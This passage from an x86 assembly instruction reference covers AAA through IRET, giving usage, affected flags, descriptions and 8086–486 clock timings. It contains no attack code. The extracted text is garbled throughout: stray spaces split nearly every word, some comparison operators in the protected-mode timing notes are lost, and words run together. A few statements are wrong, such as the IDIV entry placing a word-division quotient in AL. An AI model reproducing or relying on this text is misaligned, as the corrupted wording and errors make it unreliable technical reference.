ar e t o be emul at ed
Bi t 3 TS Task Swi t ched, set and i nt er r ogat ed by copr ocessor
on t ask swi t ches and when i nt er pr et t i ng copr ocessor
i nst r uct i ons
Bi t 4 ET Ext ensi on Type, i ndi cat es t ype of copr ocessor i n
syst em
Bi t s 5- 30 Reser ved
bi t 31 PG Pagi ng, i ndi cat es whet her t he pr ocessor uses page
t abl es t o t r ansl at e l i near addr esses t o physi cal
addr esses

- see ~SMSW~ ~LMSW~
: aaa
^AAA - Asci i Adj ust f or Addi t i on


Usage: AAA
Modi f i es f l ags: AF CF ( OF, PF, SF, ZF undef i ned)


Changes cont ent s of AL t o val i d unpacked deci mal . The hi gh or der
ni bbl e i s zer oed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 8 3 4 3 1


- see ~I nst r uct i on Ti mi ng~

: aad
^AAD - Asci i Adj ust f or Di vi si on


Usage: AAD
Modi f i es f l ags: SF ZF PF ( AF, CF, OF undef i ned)


Used bef or e di vi di ng unpacked deci mal number s. Mul t i pl i es AH by
10 and t he adds r esul t i nt o AL. Set s AH t o zer o. Thi s i nst r uct i on
i s al so known t o have an undocument ed behavi or .



% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 60 14 19 14 2

- see ~I nst r uct i on Ti mi ng~

: aam
^AAM - Asci i Adj ust f or Mul t i pl i cat i on


Pagina 794 di 991
Usage: AAM
Modi f i es f l ags: PF SF ZF ( AF, CF, OF undef i ned)


Used af t er mul t i pl i cat i on of t wo unpacked deci mal number s, t hi s
i nst r uct i on adj ust s an unpacked deci mal number . The hi gh or der
ni bbl e of each byt e must be zer oed bef or e usi ng t hi s i nst r uct i on.
Thi s i nst r uct i on i s al so known t o have an undocument ed behavi or .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 83 16 17 15 2


- see ~I nst r uct i on Ti mi ng~

: aas
^AAS - Asci i Adj ust f or Subt r act i on


Usage: AAS
Modi f i es f l ags: AF CF ( OF, PF, SF, ZF undef i ned)


Cor r ect s r esul t of a pr evi ous unpacked deci mal subt r act i on i n AL.
Hi gh or der ni bbl e i s zer oed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 8 3 4 3 1


- see ~I nst r uct i on Ti mi ng~

: adc
^ADC - Add Wi t h Car r y

Usage: ADC dest , sr c
Modi f i es f l ags: AF CF OF SF PF ZF


Sums t wo bi nar y oper ands pl aci ng t he r esul t i n t he dest i nat i on.
I f CF i s set , a 1 i s added t o t he dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 7 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 6 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=23+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: add
Pagina 795 di 991
^ADD - Ar i t hmet i c Addi t i on

Usage: ADD dest , sr c
Modi f i es f l ags: AF CF OF PF SF ZF


Adds " sr c" t o " dest " and r epl aci ng t he or i gi nal cont ent s of " dest " .
Bot h oper ands ar e bi nar y.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 7 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 6 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=23+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: and
^AND - Logi cal And

Usage: AND dest , sr c
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Per f or ms a l ogi cal AND of t he t wo oper ands r epl aci ng t he dest i nat i on
wi t h t he r esul t .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 7 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 6 1 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=23+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: ar pl
^ARPL - Adj ust ed Request ed Pr i vi l ege Level of Sel ect or
^( 286+ pr ot ect ed mode)


Usage: ARPL dest , sr c
Modi f i es f l ags: ZF


Compar es t he RPL bi t s of " dest " agai nst " sr c" . I f t he RPL bi t s
of " dest " ar e l ess t han " sr c" , t he dest i nat i on RPL bi t s ar e set
equal t o t he sour ce RPL bi t s and t he Zer o Fl ag i s set . Ot her wi se
t he Zer o Fl ag i s cl ear ed.


% Cl ocks Si ze
Pagina 796 di 991
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - 10 20 9 2
mem, r eg - 11 21 9 4


- see ~I nst r uct i on Ti mi ng~

: bound
^BOUND - Ar r ay I ndex Bound Check ( 80188+)


Usage: BOUND sr c, l i mi t
Modi f i es f l ags: None


Ar r ay i ndex i n sour ce r egi st er i s checked agai nst upper and l ower
bounds i n memor y sour ce. The f i r st wor d l ocat ed at " l i mi t " i s
t he l ower boundar y and t he wor d at " l i mi t +2" i s t he upper ar r ay bound.
I nt er r upt 5 occur s i f t he sour ce val ue i s l ess t han or hi gher t han
t he sour ce.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, mem32 - nj =13 nj =10 7 2
r eg32, mem64 - nj =13 nj =10 7 2

- nj = no j ump t aken
- see ~I nst r uct i on Ti mi ng~

: bsf
^BSF - Bi t Scan For war d ( 386+ onl y)


Usage: BSF dest , sr c
Modi f i es f l ags: ZF


Scans sour ce oper and f or f i r st bi t set . Set s ZF i f a bi t i s f ound
set and l oads t he dest i nat i on wi t h an i ndex t o f i r st set bi t . Cl ear s
ZF i s no bi t s ar e f ound set . BSF scans f or war d acr oss bi t pat t er n
( 0- n) whi l e BSR scans i n r ever se ( n- 0) .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - - 10+3n 6- 42 3
r eg, mem - - 10+3n 7- 43 3- 7
r eg32, r eg32 - - 10+3n 6- 42 3- 7
r eg32, mem32 - - 10+3n 7- 43 3- 7


- see ~I nst r uct i on Ti mi ng~

: bsr
^BSR - Bi t Scan Rever se ( 386+ onl y)


Usage: BSR dest , sr c
Modi f i es f l ags: ZF
Pagina 797 di 991


Scans sour ce oper and f or f i r st bi t set . Set s ZF i f a bi t i s f ound
set and l oads t he dest i nat i on wi t h an i ndex t o f i r st set bi t . Cl ear s
ZF i s no bi t s ar e f ound set . BSF scans f or war d acr oss bi t pat t er n
( 0- n) whi l e BSR scans i n r ever se ( n- 0) .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - - 10+3n 6- 103 3
r eg, mem - - 10+3n 7- 104 3- 7
r eg32, r eg32 - - 10+3n 6- 103 3- 7
r eg32, mem32 - - 10+3n 7- 104 3- 7


- see ~I nst r uct i on Ti mi ng~

: bswap
^BSWAP - Byt e Swap ( 486+ onl y)


Usage: BSWAP r eg32
Modi f i es f l ags: none


Changes t he byt e or der of a 32 bi t r egi st er f r ombi g endi an t o
l i t t l e endi an or vi ce ver sa. Resul t l ef t i n dest i nat i on r egi st er
i s undef i ned i f t he oper and i s a 16 bi t r egi st er .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg32 - - - 1 2


- see ~I nst r uct i on Ti mi ng~

: bt
^BT - Bi t Test ( 386+ onl y)


Usage: BT dest , sr c
Modi f i es f l ags: CF


The dest i nat i on bi t i ndexed by t he sour ce val ue i s copi ed i nt o t he
Car r y Fl ag.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, i mmed8 - - 3 3 4- 8
mem16, i mmed8 - - 6 6 4- 8
r eg16, r eg16 - - 3 3 3- 7
mem16, r eg16 - - 12 12 3- 7


- see ~I nst r uct i on Ti mi ng~

Pagina 798 di 991
: bt c
^BTC - Bi t Test wi t h Compl i ment ( 386+ onl y)


Usage: BTC dest , sr c
Modi f i es f l ags: CF


The dest i nat i on bi t i ndexed by t he sour ce val ue i s copi ed i nt o t he
Car r y Fl ag af t er bei ng compl i ment ed ( i nver t ed) .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, i mmed8 - - 6 6 4- 8
mem16, i mmed8 - - 8 8 4- 8
r eg16, r eg16 - - 6 6 3- 7
mem16, r eg16 - - 13 13 3- 7


- see ~I nst r uct i on Ti mi ng~

: bt r
^BTR - Bi t Test wi t h Reset ( 386+ onl y)


Usage: BTR dest , sr c
Modi f i es f l ags: CF


The dest i nat i on bi t i ndexed by t he sour ce val ue i s copi ed i nt o t he
Car r y Fl ag and t hen cl ear ed i n t he dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, i mmed8 - - 6 6 4- 8
mem16, i mmed8 - - 8 8 4- 8
r eg16, r eg16 - - 6 6 3- 7
mem16, r eg16 - - 13 13 3- 7


- see ~I nst r uct i on Ti mi ng~

: bt s
^BTS - Bi t Test and Set ( 386+ onl y)


Usage: BTS dest , sr c
Modi f i es f l ags: CF


The dest i nat i on bi t i ndexed by t he sour ce val ue i s copi ed i nt o t he
Car r y Fl ag and t hen set i n t he dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, i mmed8 - - 6 6 4- 8
mem16, i mmed8 - - 8 8 4- 8
Pagina 799 di 991
r eg16, r eg16 - - 6 6 3- 7
mem16, r eg16 - - 13 13 3- 7


- see ~I nst r uct i on Ti mi ng~

: cal l
^CALL - Pr ocedur e Cal l

Usage: CALL dest i nat i on
Modi f i es f l ags: None

Pushes I nst r uct i on Poi nt er ( and Code Segment f or f ar cal l s) ont o
st ack and l oads I nst r uct i on Poi nt er wi t h t he addr ess of pr oc- name.
Code cont i nues wi t h execut i on at CS: I P.

% Cl ocks
% Oper ands 808x 286 386 486

r el 16 ( near , I P r el at i ve) 19 7 7+m 3
r el 32 ( near , I P r el at i ve) - - 7+m 3

r eg16 ( near , r egi st er i ndi r ect ) 16 7 7+m 5
r eg32 ( near , r egi st er i ndi r ect ) - - 7+m 5

mem16 ( near , memor y i ndi r ect ) - 21+EA 11 10+m 5
mem32 ( near , memor y i ndi r ect ) - - 10+m 5

pt r 16: 16 ( f ar , f ul l pt r suppl i ed) 28 13 17+m 18
pt r 16: 32 ( f ar , f ul l pt r suppl i ed) - - 17+m 18
pt r 16: 16 ( f ar , pt r suppl i ed, pr ot . mode) - 26 34+m 20
pt r 16: 32 ( f ar , pt r suppl i ed, pr ot . mode) - - 34+m 20
m16: 16 ( f ar , i ndi r ect ) 37+EA 16 22+m 17
m16: 32 ( f ar , i ndi r ect ) - - 22+m 17
m16: 16 ( f ar , i ndi r ect , pr ot . mode) - 29 38+m 20
m16: 32 ( f ar , i ndi r ect , pr ot . mode) - - 38+m 20

pt r 16: 16 ( t ask, vi a TSS or t ask gat e) - 177 TS 37+TS
m16: 16 ( t ask, vi a TSS or t ask gat e) - 180/ 185 5+TS 37+TS
m16: 32 ( t ask) - - TS 37+TS
m16: 32 ( t ask) - - 5+TS 37+TS

pt r 16: 16 ( gat e, same pr i vi l ege) - 41 52+m 35
pt r 16: 32 ( gat e, same pr i vi l ege) - - 52+m 35
m16: 16 ( gat e, same pr i vi l ege) - 44 56+m 35
m16: 32 ( gat e, same pr i vi l ege) - - 56+m 35

pt r 16: 16 ( gat e, mor e pr i v, no par m) - 82 86+m 69
pt r 16: 32 ( gat e, mor e pr i v, no par m) - - 86+m 69
m16: 16 ( gat e, mor e pr i v, no par m) - 83 90+m 69
m16: 32 ( gat e, mor e pr i v, no par m) - - 90+m 69

pt r 16: 16 ( gat e, mor e pr i v, x par ms) - 86+4x 94+4x+m 77+4x
pt r 16: 32 ( gat e, mor e pr i v, x par ms) - - 94+4x+m 77+4x
m16: 16 ( gat e, mor e pr i v, x par ms) - 90+4x 98+4x+m 77+4x
m16: 32 ( gat e, mor e pr i v, x par ms) - - 98+4x+m 77+4x


- see ~I nst r uct i on Ti mi ng~

: cbw
^CBW- Conver t Byt e t o Wor d

Pagina 800 di 991

Usage: CBW
Modi f i es f l ags: None


Conver t s byt e i n AL t o wor d Val ue i n AX by ext endi ng si gn of AL
t hr oughout r egi st er AH.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 3 3 1


- see ~I nst r uct i on Ti mi ng~

: cdq
^CDQ - Conver t Doubl e t o Quad ( 386+ onl y)


Usage: CDQ
Modi f i es f l ags: None


Conver t s si gned DWORD i n EAX t o a si gned quad wor d i n EDX: EAX by
ext endi ng t he hi gh or der bi t of EAX t hr oughout EDX


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - - 2 3 1


- see ~I nst r uct i on Ti mi ng~

: cl c
^CLC - Cl ear Car r y


Usage: CLC
Modi f i es f l ags: CF


Cl ear s t he Car r y Fl ag.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: cl d
^CLD - Cl ear Di r ect i on Fl ag


Usage: CLD
Modi f i es f l ags: DF

Pagina 801 di 991

Cl ear s t he Di r ect i on Fl ag causi ng st r i ng i nst r uct i ons t o i ncr ement
t he SI and DI i ndex r egi st er s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: cl i
^CLI - Cl ear I nt er r upt Fl ag ( di sabl e)


Usage: CLI
Modi f i es f l ags: I F


Di sabl es t he maskabl e har dwar e i nt er r upt s by cl ear i ng t he I nt er r upt
f l ag. NMI ' s and sof t war e i nt er r upt s ar e not i nhi bi t ed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 3 5 1


- see ~I nst r uct i on Ti mi ng~

: cl t s
^CLTS - Cl ear Task Swi t ched Fl ag ( 286+ pr i vi l eged)


Usage: CLTS
Modi f i es f l ags: None


Cl ear s t he Task Swi t ched Fl ag i n t he Machi ne St at us Regi st er . Thi s
i s a pr i vi l eged oper at i on and i s gener al l y used onl y by oper at i ng
syst emcode.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - 2 5 7 2


- see ~I nst r uct i on Ti mi ng~

: cmc
^CMC - Compl ement Car r y Fl ag


Usage: CMC
Modi f i es f l ags: CF


Toggl es ( i nver t s) t he Car r y Fl ag
Pagina 802 di 991


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: cmp
^CMP - Compar e

Usage: CMP dest , sr c
Modi f i es f l ags: AF CF OF PF SF ZF


Subt r act s sour ce f r omdest i nat i on and updat es t he f l ags but does
not save r esul t . Fl ags can subsequent l y be checked f or condi t i ons.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 9+EA 7 5 2 2- 4 ( W88=13+EA)
r eg, mem 9+EA 6 6 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 10+EA 6 5 2 3- 6 ( W88=14+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: cmps: cmpsb: cmpsw: cmpsd
^CMPS - Compar e St r i ng ( Byt e, Wor d or Doubl ewor d)

Usage: CMPS dest , sr c
CMPSB
CMPSW
CMPSD ( 386+ onl y)
Modi f i es f l ags: AF CF OF PF SF ZF

Subt r act s dest i nat i on val ue f r omsour ce wi t hout savi ng r esul t s.
Updat es f l ags based on t he subt r act i on and t he i ndex r egi st er s
( E) SI and ( E) DI ar e i ncr ement ed or decr ement ed dependi ng on t he
st at e of t he Di r ect i on Fl ag. CMPSB i nc/ decr ement s t he i ndex
r egi st er s by 1, CMPSWi nc/ decr ement s by 2, whi l e CMPSD i ncr ement s
or decr ement s by 4. The REP pr ef i xes can be used t o pr ocess
ent i r e dat a i t ems.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

dest , sr c 22 8 10 8 1 ( W88=30)


- see ~I nst r uct i on Ti mi ng~

: cmpxchg
^CMPXCHG - Compar e and Exchange

Usage: CMPXCHG dest , sr c ( 486+)
Pagina 803 di 991
Modi f i es f l ags: AF CF OF PF SF ZF


Compar es t he accumul at or ( 8- 32 bi t s) wi t h " dest " . I f equal t he
" dest " i s l oaded wi t h " sr c" , ot her wi se t he accumul at or i s l oaded
wi t h " dest " .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - - - 6 2
mem, r eg - - - 7 2


- add 3 cl ocks i f t he " mem, r eg" compar i son f ai l s
- see ~I nst r uct i on Ti mi ng~

: cwd
^CWD - Conver t Wor d t o Doubl ewor d


Usage: CWD
Modi f i es f l ags: None


Ext ends si gn of wor d i n r egi st er AX t hr oughout r egi st er DX f or mi ng
a doubl ewor d quant i t y i n DX: AX.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 5 2 2 3 1


- see ~I nst r uct i on Ti mi ng~

: cwde
^CWDE - Conver t Wor d t o Ext ended Doubl ewor d ( 386+ onl y)


Usage: CWDE
Modi f i es f l ags: None


Conver t s a si gned wor d i n AX t o a si gned doubl ewor d i n EAX by
ext endi ng t he si gn bi t of AX t hr oughout EAX.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - - 3 3 1


- see ~I nst r uct i on Ti mi ng~

: daa
^DAA - Deci mal Adj ust f or Addi t i on


Usage: DAA
Modi f i es f l ags: AF CF PF SF ZF ( OF undef i ned)
Pagina 804 di 991


Cor r ect s r esul t ( i n AL) of a pr evi ous BCD addi t i on oper at i on.
Cont ent s of AL ar e changed t o a pai r of packed deci mal di gi t s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 4 3 4 2 1


- see ~I nst r uct i on Ti mi ng~

: das
^DAS - Deci mal Adj ust f or Subt r act i on


Usage: DAS
Modi f i es f l ags: AF CF PF SF ZF ( OF undef i ned)


Cor r ect s r esul t ( i n AL) of a pr evi ous BCD subt r act i on oper at i on.
Cont ent s of AL ar e changed t o a pai r of packed deci mal di gi t s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 4 3 4 2 1


- see ~I nst r uct i on Ti mi ng~

: dec
^DEC - Decr ement


Usage: DEC dest
Modi f i es f l ags: AF OF PF SF ZF


Unsi gned bi nar y subt r act i on of one f r omt he dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 3 2 2 1 2
mem 15+EA 7 6 3 2- 4
r eg16/ 32 3 2 2 1 1


- see ~I nst r uct i on Ti mi ng~

: di v
^DI V - Di vi de

Usage: DI V sr c
Modi f i es f l ags: ( AF, CF, OF, PF, SF, ZF undef i ned)

Unsi gned bi nar y di vi si on of accumul at or by sour ce. I f t he sour ce
di vi sor i s a byt e val ue t hen AX i s di vi ded by " sr c" and t he quot i ent
Pagina 805 di 991
i s pl aced i n AL and t he r emai nder i n AH. I f sour ce oper and i s a wor d
val ue, t hen DX: AX i s di vi ded by " sr c" and t he quot i ent i s st or ed i n AX
and t he r emai nder i n DX.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 80- 90 14 14 16 2
r eg16 144- 162 22 22 24 2
r eg32 - - 38 40 2
mem8 ( 86- 96) +EA 17 17 16 2- 4
mem16 ( 150- 168) +EA 25 25 24 2- 4 ( W88=158- 176+EA)
mem32 - - 41 40 2- 4


- see ~I nst r uct i on Ti mi ng~

: ent er
^ENTER - Make St ack Fr ame ( 80188+)


Usage: ENTER l ocal s, l evel
Modi f i es f l ags: None


Modi f i es st ack f or ent r y t o pr ocedur e f or hi gh l evel l anguage.
Oper and " l ocal s" speci f i es t he amount of st or age t o be al l ocat ed
on t he st ack. " Level " speci f i es t he nest i ng l evel of t he r out i ne.
Pai r ed wi t h t he ~LEAVE~ i nst r uct i on, t hi s i s an ef f i ci ent met hod of
ent r y and exi t t o pr ocedur es.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

i mmed16, 0 - 11 10 14 4
i mmed16, 1 - 15 12 17 4
i mmed16, i mmed8 - 12+4( n- 1) 15+4( n- 1) 17+3n 4


- see ~I nst r uct i on Ti mi ng~

: esc
^ESC - Escape


Usage: ESC i mmed, sr c
Modi f i es f l ags: None


Pr ovi des access t o t he dat a bus f or ot her r esi dent pr ocessor s.
The CPU t r eat s i t as a ~NOP~ but pl aces memor y oper and on bus.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

i mmed, r eg 2 9- 20 ? 2
i mmed, mem 2 9- 20 ? 2- 4


- see ~I nst r uct i on Ti mi ng~

Pagina 806 di 991
: hl t
^HLT - Hal t CPU


Usage: HLT
Modi f i es f l ags: None


Hal t s CPU unt i l RESET l i ne i s act i vat ed, NMI or maskabl e i nt er r upt
r ecei ved. The CPU becomes dor mant but r et ai ns t he cur r ent CS: I P
f or l at er r est ar t .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 5 4 1


- see ~I nst r uct i on Ti mi ng~

: i di v
^I DI V - Si gned I nt eger Di vi si on

Usage: I DI V sr c
Modi f i es f l ags: ( AF, CF, OF, PF, SF, ZF undef i ned)

Si gned bi nar y di vi si on of accumul at or by sour ce. I f sour ce i s a
byt e val ue, AX i s di vi ded by " sr c" and t he quot i ent i s st or ed i n
AL and t he r emai nder i n AH. I f sour ce i s a wor d val ue, DX: AX i s
di vi ded by " sr c" , and t he quot i ent i s st or ed i n AL and t he
r emai nder i n DX.
% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 101- 112 17 19 19 2
r eg16 165- 184 25 27 27 2
r eg32 - - 43 43 2
mem8 ( 107- 118) +EA 20 22 20 2- 4
mem16 ( 171- 190) +EA 38 30 28 2- 4 ( W88=175- 194)
mem32 - - 46 44 2- 4


- see ~I nst r uct i on Ti mi ng~

: i mul
^I MUL - Si gned Mul t i pl y

Usage: I MUL sr c
I MUL sr c, i mmed ( 286+ onl y)
I MUL dest , sr c, i mmed8 ( 286+ onl y)
I MUL dest , sr c ( 386+ onl y)
Modi f i es f l ags: CF OF ( AF, PF, SF, ZF undef i ned)


Si gned mul t i pl i cat i on of accumul at or by " sr c" wi t h r esul t pl aced
i n t he accumul at or . I f t he sour ce oper and i s a byt e val ue, i t
i s mul t i pl i ed by AL and t he r esul t st or ed i n AX. I f t he sour ce
oper and i s a wor d val ue i t i s mul t i pl i ed by AX and t he r esul t i s
st or ed i n DX: AX. Ot her var i at i ons of t hi s i nst r uct i on al l ow
speci f i cat i on of sour ce and dest i nat i on r egi st er s as wel l as a
t hi r d i mmedi at e f act or .

Pagina 807 di 991
% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 80- 98 13 9- 14 13- 18 2
r eg16 128- 154 21 9- 22 13- 26 2
r eg32 - - 9- 38 12- 42 2
mem8 86- 104 16 12- 17 13- 18 2- 4
mem16 134- 160 24 12- 25 13- 26 2- 4
mem32 - - 12- 41 13- 42 2- 4
r eg16, r eg16 - - 9- 22 13- 26 3- 5
r eg32, r eg32 - - 9- 38 13- 42 3- 5
r eg16, mem16 - - 12- 25 13- 26 3- 5
r eg32, mem32 - - 12- 41 13- 42 3- 5
r eg16, i mmed - 21 9- 22 13- 26 3
r eg32, i mmed - 21 9- 38 13- 42 3- 6
r eg16, r eg16, i mmed - 2 9- 22 13- 26 3- 6
r eg32, r eg32, i mmed - 21 9- 38 13- 42 3- 6
r eg16, mem16, i mmed - 24 12- 25 13- 26 3- 6
r eg32, mem32, i mmed - 24 12- 41 13- 42 3- 6


- see ~I nst r uct i on Ti mi ng~

: i n
^I N - I nput Byt e or Wor d Fr omPor t


Usage: I N accum, por t
Modi f i es f l ags: None


A byt e, wor d or dwor d i s r ead f r om" por t " and pl aced i n AL, AX or
EAX r espect i vel y. I f t he por t number i s i n t he r ange of 0- 255
i t can be speci f i ed as an i mmedi at e, ot her wi se t he por t number
must be speci f i ed i n DX. Val i d por t r anges on t he PC ar e 0- 1024,
t hough val ues t hr ough 65535 may be speci f i ed and r ecogni zed by
t hi r d par t y vendor s and PS/ 2' s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

accum, i mmed8 10/ 14 5 12 14 2
accum, i mmed8 ( PM) 6/ 26 8/ 28/ 27 2
accum, DX 8/ 12 5 13 14 1
accum, DX ( PM) 7/ 27 8/ 28/ 27 1


- 386+ pr ot ect ed mode t i mi ngs depend on pr i vi l ege l evel s.

f i r st number i s t he t i mi ng i f : CPL I OPL
second number i s t he t i mi ng i f : CPL > I OPL or i n VM 86 mode ( 386)
CPL I OPL ( 486)
t hi r d number i s t he t i mi ng when: vi r t ual mode on 486 pr ocessor
- 486 vi r t ual mode al ways r equi r es 27 cycl es

- see ~I nst r uct i on Ti mi ng~

: i nc
^I NC - I ncr ement


Usage: I NC dest
Pagina 808 di 991
Modi f i es f l ags: AF OF PF SF ZF


Adds one t o dest i nat i on unsi gned bi nar y oper and.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 3 2 2 1 2
r eg16 3 2 2 1 1
r eg32 3 2 2 1 1
mem 15+EA 7 6 3 2- 4 ( W88=23+EA)


- see ~I nst r uct i on Ti mi ng~

: i ns: i nsb: i nsw: i nsd
^I NS - I nput St r i ng f r omPor t ( 80188+)


Usage: I NS dest , por t
I NSB
I NSW
I NSD ( 386+ onl y)
Modi f i es f l ags: None

Loads dat a f r ompor t t o t he dest i nat i on ES: ( E) DI ( even i f a
dest i nat i on oper and i s suppl i ed) . ( E) DI i s adj ust ed by t he si ze
of t he oper and and i ncr eased i f t he Di r ect i on Fl ag i s cl ear ed and
decr eased i f t he Di r ect i on Fl ag i s set . For I NSB, I NSW, I NSD no
oper ands ar e al l owed and t he si ze i s det er mi ned by t he mnemoni c.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

dest , por t - 5 15 17 1
dest , por t ( PM) - 5 9/ 29 10/ 32/ 30 1
none - 5 15 17 1
none ( PM) - 5 9/ 29 10/ 32/ 30 1


- 386+ pr ot ect ed mode t i mi ngs depend on pr i vi l ege l evel s.

f i r st number i s t he t i mi ng i f : CPL I OPL
second number i s t he t i mi ng i f : CPL > I OPL
t hi r d number i s t he t i mi ng i f : vi r t ual mode on 486 pr ocessor

- see ~I nst r uct i on Ti mi ng~

: i nt
^I NT - I nt er r upt


Usage: I NT num
Modi f i es f l ags: TF I F

I ni t i at es a sof t war e i nt er r upt by pushi ng t he f l ags, cl ear i ng t he
Tr ap and I nt er r upt Fl ags, pushi ng CS f ol l owed by I P and l oadi ng
CS: I P wi t h t he val ue f ound i n t he i nt er r upt vect or t abl e. Execut i on
t hen begi ns at t he l ocat i on addr essed by t he new CS: I P

Pagina 809 di 991

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

3 ( const ant ) 52/ 72 23+m 33 26 2
3 ( pr ot . mode, same pr i v. ) - 40+m 59 44 2
3 ( pr ot . mode, mor e pr i v. ) - 78+m 99 71 2
3 ( f r omVM86 t o PL 0) - - 119 82 2
3 ( pr ot . mode vi a t ask gat e) - 167+m TS 37+TS 2
i mmed8 51/ 71 23+m 37 30 1
i mmed8 ( pr ot . mode, same pr i v. ) - 40+m 59 44 1
i mmed8 ( pr ot . mode, mor e pr i v. ) - 78+m 99 71 1
i mmed8 ( f r omVM86 t o PL 0) - - 119 86 1
i mmed8 ( pr ot . mode, vi a t ask gat e) - 167+m TS 37+TS 1


- see ~I nst r uct i on Ti mi ng~

: i nt o
^I NTO - I nt er r upt on Over f l ow


Usage: I NTO
Modi f i es f l ags: I F TF


I f t he Over f l ow Fl ag i s set t hi s i nst r uct i on gener at es an I NT 4
whi ch causes t he code addr essed by 0000: 0010 t o be execut ed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none: j ump 53/ 73 24+m 35 28 1
no j ump 4 3 3 3
( pr ot . mode, same pr i v. ) - - 59 46 1
( pr ot . mode, mor e pr i v. ) - - 99 73 1
( f r omVM86 t o PL 0) - - 119 84 1
( pr ot . mode, vi a t ask gat e) - TS 39+TS 1


- see ~I nst r uct i on Ti mi ng~

: i nvd
^I NVD - I nval i dat e Cache ( 486+ onl y)


Usage: I NVD
Modi f i es f l ags: none


Fl ushes CPU i nt er nal cache. I ssues speci al f unct i on bus cycl e
whi ch i ndi cat es t o f l ush ext er nal caches. Dat a i n wr i t e- back
ext er nal caches i s l ost .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - - - 4 2


- see ~I nst r uct i on Ti mi ng~
Pagina 810 di 991

: i nvl pg
^I NVLPG - I nval i dat e Tr ansl at i on Look- Asi de Buf f er Ent r y ( 486+ onl y)


Usage: I NVLPG
Modi f i es f l ags: none


I nval i dat es a si ngl e page t abl e ent r y i n t he Tr ansl at i on
Look- Asi de Buf f er . I nt el war ns t hat t hi s i nst r uct i on may be
i mpl ement ed di f f er ent l y on f ut ur e pr ocessor s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - - - 12 2


- t i mi ng i s f or TLB ent r y hi t onl y.
- see ~I nst r uct i on Ti mi ng~

: i r et : i r et d
^I RET/ I RETD - I nt er r upt Ret ur n

Usage: I RET
I RETD ( 386+ onl y)
Modi f i es f l ags: AF CF DF I F PF SF TF ZF

Ret ur ns cont r ol t o poi nt of i nt er r upt i on by poppi ng I P, CS
and t hen t he Fl ags f r omt he st ack and cont i nues execut i on at
